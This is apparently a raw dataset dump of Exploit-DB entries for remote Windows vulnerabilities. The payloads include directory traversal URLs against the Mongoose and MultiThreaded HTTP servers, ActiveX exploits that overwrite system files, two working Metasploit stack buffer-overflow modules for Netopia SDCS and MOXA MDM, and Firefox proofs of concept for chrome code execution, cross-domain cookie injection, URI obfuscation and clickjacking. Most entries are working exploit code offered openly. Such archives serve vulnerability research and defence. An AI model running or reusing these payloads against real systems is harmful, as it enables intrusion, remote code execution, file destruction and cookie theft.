deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8428
Description: MonGoose 2.4 (Windows) - WebServer Directory Traversal
Type: remote
Platform: windows
Date: 2009-04-14
Author: e.wiZz!

Exploit:
######################### MonGoose 2.4 (win) webserver Directory Traversal  ###################



######By:  e.wiZz!

######Site: www.balcansecurity.com



Found with ServMeNot (world's sexiest fuzzer :P)




In the wild...

#########################################################################################

[Info]: Easy to use web server for Windows and UNIX. Mongoose provides simple and clean API
 for embedding it into existing programs. Targeting Web application developers, embedded system developers,
 and people who need to setup file sharing quickly.

[Site]: http://code.google.com/p/mongoose/


[Vulnerability]:  

http://[localhost]/../../../../../../boot.ini

# milw0rm.com [2009-04-14]
Exploit-DB #12309
Description: Mongoose Web Server 2.8 - Multiple Directory Traversals
Type: remote
Platform: windows
Date: 2010-04-20
Author: Dr_IDE

Exploit:
################################################################
#
# Mongoose Web Server v2.8 Multiple Directory Traversal Exploits
# Found By:             Dr_IDE
# Date:                 Apr. 20, 2010
# Tested On:            Windows 7
# Download:             http://code.google.com/p/mongoose/downloads/list
#
################################################################

- Description -

Mongoose v2.8 is a Windows based HTTP server. This is the latest
version of the application available.

Mongoose v2.8 is vulnerable to many  remote directory traversal attacks.

- Technical Details -
http://172.16.2.102//..%5C..%5C%5C..%5C..%5C%5C..%5C..%5C%5C..%5C..%5Cboot.ini
http://172.16.2.102/..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
http://172.16.2.102/..%5C..%5Cboot.ini

#[pocoftheday.blogspot.com]
Exploit-DB #8208
Description: Morovia Barcode ActiveX 3.6.2 - 'MrvBarCd.dll' Insecure Method
Type: remote
Platform: windows
Date: 2009-03-13
Author: Cyber-Zone

Exploit:
<HTML>
Morovia Barcode ActiveX Control 3.6.2 (MrvBarCd.dll) Insecure Method Exploit<br>
<br>
 Description There is Insecure Method in (Save) fonction<br>
Download Product : http://download.morovia.com/demo/MrvBarCd_Demo_V3.4.0.0.msi<br>
Found By : Cyber-Zone<br>
Tested Under : sp2 fr <br>
E-mail : Paradis_des_fous@hotmail.fr<br>
Home : WwW.IQ-Ty.CoM , WwW.No-Exploit.CoM<br>
SP thnx To : Hussin X , Jiko ( Che7ta4Ever My Best Friend ) No-Exploit TeaM , StaCk ( Thanx4Help ) ...All Mgharba ...
<!--
Report for Clsid: {18B409DA-241A-4BD8-AC69-B5D547D5B141}
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe:  Safe for untrusted: caller,data  
IPersist Safe:  Safe for untrusted: caller,data  
IPStorage Safe:  Safe for untrusted: caller,data  
-->

<title>Exploited By : Cyber-Zone </title>
<BODY>
 <object id=cyber classid="clsid:{18B409DA-241A-4BD8-AC69-B5D547D5B141}"></object>

<SCRIPT>

function Do_it()
 {
     File = "Cyber.exe"
   cyber.Save(File)
 }

</SCRIPT>
<input language=JavaScript onclick=Do_it() type=button value="Click here To Test"><br>
</body>
</HTML>

# milw0rm.com [2009-03-13]
Exploit-DB #3899
Description: Morovia Barcode ActiveX Professional 3.3.1304 - Arbitrary File Overwrite
Type: remote
Platform: windows
Date: 2007-05-11
Author: shinnai

Exploit:
<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/11</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------
 <b>Morovia Barcode ActiveX Professional 3.3 (build 1304) Arbitrary file overwrite</b>
 url: http://www.morovia.com/
 price: $129

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
--------------------------------------------------------------------------------

<object classid='clsid:18B409DA-241A-4BD8-AC69-B5D547D5B141' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL OWERWRITE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.Save "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's overwritten.", 64,"2007/05/11 - Morovia Barcode")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/11 - Morovia Barcode")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-11]
Exploit-DB #42696
Description: Motorola Netopia Netoctopus SDCS - Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2017-09-13
Author: James Fitts

Exploit:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Motorola Netopia Netoctopus SDCS Stack Buffer Overflow',
			'Description'    => %q{
				This module exploits a vulnerability within the code responsible for
				parsing client requests. When reading in a request from the network,
				a 32-bit integer is read in that specifies the number of bytes that
				follow. This value is not validated, and is then used to read data into
				a fixed-size stack buffer.
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=851' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'	=> 500,
					'DisableNops' => 'true',
					'BadChars' => "",
					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 
						'Windows XP SP3 EN', 
							{ 
								# pop ecx/ pop ecx/ retn
								# msvcrt.dll
								'Ret' => 0x0044e046, 
							} 
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jul 14 2008'))

		register_options(
			[
				Opt::RPORT(3814)
			], self.class )
	end

	def exploit
		connect

		p = payload.encoded

		pkt = "\x41" * 600
		pkt[0, 4] = [0x01000000].pack('V')
		pkt[8, 4] = [0x01000000].pack('V')
		pkt[12, 4] = [0x01000000].pack('V')
		pkt[16, 4] = [0x03000000].pack('V')		# this is the value mentioned above
		pkt[20, 4] = [0x66000000].pack('V')
		pkt[30, p.length] = p
		pkt[545, 4] = "\xeb\x06\x90\x90"
		pkt[549, 4] = [target.ret].pack('V')
		pkt[558, 6] = "\x81\xc4\x34\x06\x00\x00"	# add esp, 1588
		pkt[564, 2] = "\xff\xe4"			# jmp esp


		print_status("Trying target %s..." % target.name)

		sock.put(pkt)

		handler
		disconnect
	end

end
Exploit-DB #16381
Description: MOXA Device Manager Tool 2.1 - Remote Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = GreatRanking

  include Msf::Exploit::Remote::TcpServer
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MOXA Device Manager Tool 2.1 Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.
        When sending a specially crafted MDMGw (MDM2_Gateway) response, an
        attacker may be able to execute arbitrary code.
      },
      'Author'         => [ 'Ruben Santamarta', 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2010-4741'],
          [ 'OSVDB', '69027'],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=70&Itemid=' ],
          [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICSA-10-301-01A.pdf' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'    => 600,
          'BadChars' => "\x00\x0a\x0d\x20",
          'StackAdjustment' => -3500
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'MOXA MDM Tool 2.1', { 'Ret' => 0x1016bca7 } ], # UTU.dll / keeping the rop version for me...
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Oct 20 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on.", 54321 ])
      ], self.class)
  end

  def on_client_connect(client)

    return if ((p = regenerate_payload(client)) == nil)

    client.get_once

    sploit = rand_text_alpha_upper(18024)

    sploit[0, 4] = [0x29001028].pack('V')
    sploit[472, payload.encoded.length] = payload.encoded
    sploit[1072, 8] = generate_seh_record(target.ret)
    sploit[1080, 5] = Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-550").encode_string

    client.put(sploit)

    handler(client)

    service.close_client(client)

  end
end
Exploit-DB #24263
Description: Mozilla 1.7 - External Protocol Handler
Type: remote
Platform: windows
Date: 2004-07-08
Author: Keith McCanless

Exploit:
source: https://www.securityfocus.com/bid/10681/info

Mozilla Internet Browser is reported prone to a weakness that may permit an external protocol to be called without any user interaction. This may expose Mozilla users to vulnerabilities that exist in the underlying operating system or in the software that is the default handler for a registered protocol.

Vulnerabilities in the applications that are invoked by a protocol, and vulnerabilities in the way a called protocol is handled by the host operating system may be exploited using this weakness in the Mozilla browser.

1. VICTIM VISITS A SHARED FOLDER NAMED "shared" ON A SERVER NAMED "X-6487ohu4s6x0p".
THIS WILL CREATE A SHORTCUT NAMED "shared on X-6487ohu4s6x0p" IN THE FOLDER AT "shell:NETHOOD"
2. VICTIM OPENS THIS HTML FILE WHICH EXECUTES A FILE NAMED "fileid.exe" IN THE
"shared" FOLDER:
<IMG SRC="shell:NETHOOD\shared on X-6487ohu4s6x0p\fileid.exe">
Exploit-DB #24276
Description: Mozilla Browser 0.9/1.x Cache File - Multiple Vulnerabilities
Type: remote
Platform: windows
Date: 2004-07-13
Author: Mind Warper

Exploit:
source: https://www.securityfocus.com/bid/10709/info

Mozilla Browser is reported prone to multiple vulnerabilities that could eventually allow for code execution on the local computer.

These vulnerabilities do not represent a significant threat on their own, however, code execution in the context of the user is possible if the two issues are combined.

By combining these issues, an attacker can eventually execute arbitrary HTML or script code in the local zone. The attacker would likely exploit these issues by crafting a malicious Web site containing HTML and script code and entice a user to visit the site. If a user visits the site, the malicious page will be cached in a known directory with a known file name. The attacker may then craft a link to this cached local file and entice a user to follow this link. Due to a flaw in Mozilla that allows cached files to be opened in the local zone as HTML documents the attack may lead to arbitrary code execution in the local zone.

It should be noted that this issue is reported to exist in all versions of Mozilla and Firefox browsers, however, Symantec was not able to reproduce this on Firefox 0.9.2. Furthermore, the directory names may vary with different platforms.

Update: New reports have stated that the Mozilla Browser is not vulnerable to the first issue as it uses random names for cache directories. This issue does however affect Firefox. It is also reported that an attacker does not have to use a file extension for the second vulnerability as long as a NULL byte is placed after the file name. Arbitrary extensions may be applied as well. 

file://C:\\Documents and Settings\\Administrator\\Application Data\\Mozilla\\Firefox\\Profiles\\default.nop\\Cache\\_CACHE_002_%00.html
Exploit-DB #24196
Description: Mozilla Browser 1.6/1.7 - URI Obfuscation
Type: remote
Platform: windows
Date: 2004-06-14
Author: http-equiv

Exploit:
source: https://www.securityfocus.com/bid/10532/info

A weakness is reported in Mozilla that may allow an attacker to obfuscate the URI of a link. This could facilitate the impersonation of legitimate web sites in order to steal sensitive information from unsuspecting users. 

It is reported that the weakness exists when form method GET action URI's that are appended with the %2F encoded character, several space characters and an appended '.' URI are followed.

Mozilla 1.6 and 1.7rc3 for Windows and Firefox 0.8 and 0.9rc for Windows are reportedly affected by this issue.

http://[trusted_site]%2F%20%20%20.[malicious_site]/
Exploit-DB #17419
Description: Mozilla Firefox - 'nsTreeRange' Dangling Pointer (2)
Type: remote
Platform: windows
Date: 2011-06-20
Author: Abysssec

Exploit:
Advisory :


Abysssec Public Exploit :

This module exploits a code execution vulnerability in Mozilla
Firefox <= 3.6.16 caused by nsTreeSelection element. The specific flaw
exists within the way Firefox handles user defined functions of
a nsTreeSelection element. When executing the function
invalidateSelection it is possible to free the nsTreeSelection object
that the function operates on. Any further operations on the freed
object can result in remote code execution.this exploit module is only
tested on win7 and used a Another JAVA ROPto defeat DEP/ASLR (due to
there is no more non-aslr module in Firefox) and in my tests works
reliably on Windows7.

there is two version of this exploit XP and 7 and both use different
method that used in MSF Exploit bounty !

XP   Version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17419-1.zip (nsTreeRange_XP.zip)
Win7 Version: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17419-2.zip (nsTreeRange_7.zip)




questions / comments : Info [at] abysssec.com
Exploit-DB #1102
Description: Mozilla Firefox 1.0.4 - 'Set As Wallpaper' Code Execution
Type: remote
Platform: windows
Date: 2005-07-13
Author: Michael Krax

Exploit:
// Exploit by Michael Krax
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>Firewalling - Proof-of-Concept</title>
<script>
function stopload() {
// in some cases the javascript url never stops to load
// therefore we force a stop after the real image got loaded
window.setTimeout("window.stop()",1000);
}
</script>
</head>
<body>
<div style="font-family:Verdana;font-size:11px;">

<div style="font-family:Verdana;font-size:15px;font-weight:bold;">
Firewalling - Proof-of-Concept</div>
<div style="width:600px">
The "Set As Wallpaper" dialog takes the image url as a parameter without validating it.
This allows to execute javascript in chrome and to run arbitrary code.
<br><br>
By using absolute positioning and the moz-opacity filter an attacker can easily fool the
user to think he is setting a valid image as wallpaper.
<br><br>
Right click on the image and choose "Set As Wallpaper". The demo requests
UniversalXPConnect rights, creates c:\booom.bat and launches the batch file
that shows a directoy listing in a dos box (Windows only).
<br><br>

<div style="position:relative; width:300px; height:250px;">
<img src="javascript:/*-----------------------------*/eval('if(document.location.href.
substr(0,6)==\'chrome\'){netscape.security.PrivilegeManager.enablePrivilege(\'
UniversalXPConnect\');file=Components.classes[\'@mozilla.org/file/local;1\'].
createInstance(Components.interfaces.nsILocalFile);file.initWithPath(\'c:\\\\
booom.bat\');file.createUnique(Components.interfaces.nsIFile.NORMAL_FILE_TYPE,
420);outputStream=Components.classes[\'@mozilla.org/network/file-output-stream;
1\'].createInstance(Components.interfaces.nsIFileOutputStream);outputStream.init
(file,0x04|0x08|0x20,420,0);output=\'@ECHO OFF\\n:BEGIN\\nCLS\\nDIR\\nPAUSE
\\n:END\';outputStream.write(output,output.length);outputStream.close();file.launch
();}else{void(0)}')" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:2; -moz-opacity:0;">
<img src="http://www.milw0rm.com/images/logo.png" width="300" height="250" alt="" border="0" style="position:
absolute; left:0px; top:0px; z-index:1;" onload="stopload()">
</div>
</div>
</body>

</html>

# milw0rm.com [2005-07-13]
Exploit-DB #3340
Description: Mozilla Firefox 2.0.0.1 - 'location.hostname' Cross-Domain
Type: remote
Platform: windows
Date: 2007-02-20
Author: Michal Zalewski

Exploit:
<!--
________________________________________________________________________________
  
Mozilla Firefox 'location.hostname' Cross-Domain Vulnerability
________________________________________________________________________________

Software      : Mozilla Firefox version 2.0.0.1 and prior 
CVE reference : CVE-2007-0981
Impact        : Security Bypass
Risk          : Moderate
Discovered by : Michal Zalewski (http://lcamtuf.coredump.cx/)
Advisory Date	: 2007-02-15

Mozilla Firefox allows remote attackers to bypass the same origin policy, steal
cookies, and conduct other attacks by writing a URI with a null byte to the
hostname (location.hostname) DOM property, due to interactions with DNS
resolver code.

Links
http://lcamtuf.dione.cc/ffhostname.html (test)
https://bugzilla.mozilla.org/show_bug.cgi?id=370445
________________________________________________________________________________

How To Test Your Browser ?
1 - Execute this on your local web server (or change variable 'mydomain')
2 - Go to the link 'http://login.live.com/' and read the login
    (or check Tools -> Options -> Privacy -> Show Cookies for login.live.com)
________________________________________________________________________________

Gorn, gorn.support[gmail]com
2007-02-19 16:00

-->

<script language="javascript"> 
var mydomain = '127.0.0.1';
var var_cook = 'MSPPre=firefox_vulnerability_test';
var dom_cook = 'login.live.com';

if (location.hostname == mydomain)
{
  try { location.hostname = mydomain + '\x00www.' + dom_cook; } 
  catch (err) { alert('Failed to modify location.hostname'); }
} else {
  document.cookie = var_cook + '; domain=.' + dom_cook + '; path=/;';  
}
</script>

# milw0rm.com [2007-02-20]
Exploit-DB #7842
Description: Mozilla Firefox 3.0.5 - Status Bar Obfuscation / Clickjacking
Type: remote
Platform: windows
Date: 2009-01-21
Author: MrDoug

Exploit:
Firefox 3.0.5 Status Bar Obfuscation / Clickjacking
===========================================

<html>
<body>
<div id="mydiv"
onmouseover="document.location='http://www.milw0rm.com';"
style="position:absolute;width:2px;height:2px;background:#FFFFFF;border:0px"></div>
<script>
function updatebox(evt) {
mouseX=evt.pageX?evt.pageX:evt.clientX;
mouseY=evt.pageY?evt.pageY:evt.clientY;
document.getElementById('mydiv').style.left=mouseX-1;
document.getElementById('mydiv').style.top=mouseY-1;
}
</script>
<center>
<br>
<font style="font-family:arial;font-size:32px">Status Bar Obfuscation
/ Clickjacking</font><br>
<font style="font-family:arial;font-size:24px">By MrDoug</font><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:20px">Click the VALID link to
google below to visit milw0rm.com</font><br>
<br>
<a href="http://www.google.com" onclick="updatebox(event)"><font
style="font-family:arial;font-size:32px">http://www.google.com</font></a><br>
<br>
<hr size="3" width="500" color="#000000">
<br>
<font style="font-family:arial;font-size:16px">Greetz to Slappywag</font><br>
</center>
<div style="position:absolute;bottom:0;">
<font style="font-family:arial;font-size:32px">Note this...<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;|&nbsp;<br>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;V
</font>
</div>
</body>
</html>

===========================================
MrDoug
mrdoug13[at]gmail[dot]com

# milw0rm.com [2009-01-21]
Exploit-DB #12331
Description: Multi-Threaded HTTP Server 1.1 - Directory Traversal (2)
Type: remote
Platform: windows
Date: 2010-04-20
Author: Dr_IDE

Exploit:
###################################################################
#
# Exploit Title: MultiThreaded HTTP Server v1.1 Directory Traversal
# Found By:	Dr_IDE
# Date: 	Apr. 20, 2010
# Download:	http://voxel.dl.sourceforge.net/project/http/version1.1/%5BUnnamed%20release%5D/HTTPProject_fat.jar
# Tested on:	Windows 7
#
###################################################################

- Description -

MultiThreaded HTTP Server v1.1 is a Java based HTTP server. This is the latest
version of the application available.

MultiThreaded HTTP Server is vulnerable to remote directory traversal attacks. 

- Technical Details -
http://[ webserver IP][:port]/[?]../../../../../boot.ini	 		[File Access]
http://[ webserver IP][:port]/[?]../../../../../windows/system32 		[Full Directory Listing]
http://[ webserver IP][:port]/[?]../../../../../windows/system32/calc.exe	[File Download]
Exploit-DB #12308
Description: Multi-Threaded HTTP Server 1.1 - Source Disclosure
Type: remote
Platform: windows
Date: 2010-04-20
Author: Dr_IDE

Exploit:
################################################################
#
# Exploit Title: MultiThreaded HTTP Server v1.1 Source Disclosure
# Found By:     Dr_IDE
# Date:         Apr. 20, 2010
# Download:     http://voxel.dl.sourceforge.net/project/http/version1.1/%5BUnnamed%20release%5D/HTTPProject_fat.jar
# Tested on:    Windows 7
#
################################################################

- Description -

MultiThreaded HTTP Server v1.1 is a Java based HTTP server. This is the latest
version of the application available.

MultiThreaded HTTP Server is vulnerable to remote source disclosure attacks.

- Technical Details -
http://[ webserver IP][:port]/[ file ][.]
http://[ webserver IP][:port]/[ file ][::$DATA]
http://[ webserver IP][:port]/[space] (Weird, only works for default index page)

#[pocoftheday.blogspot.com]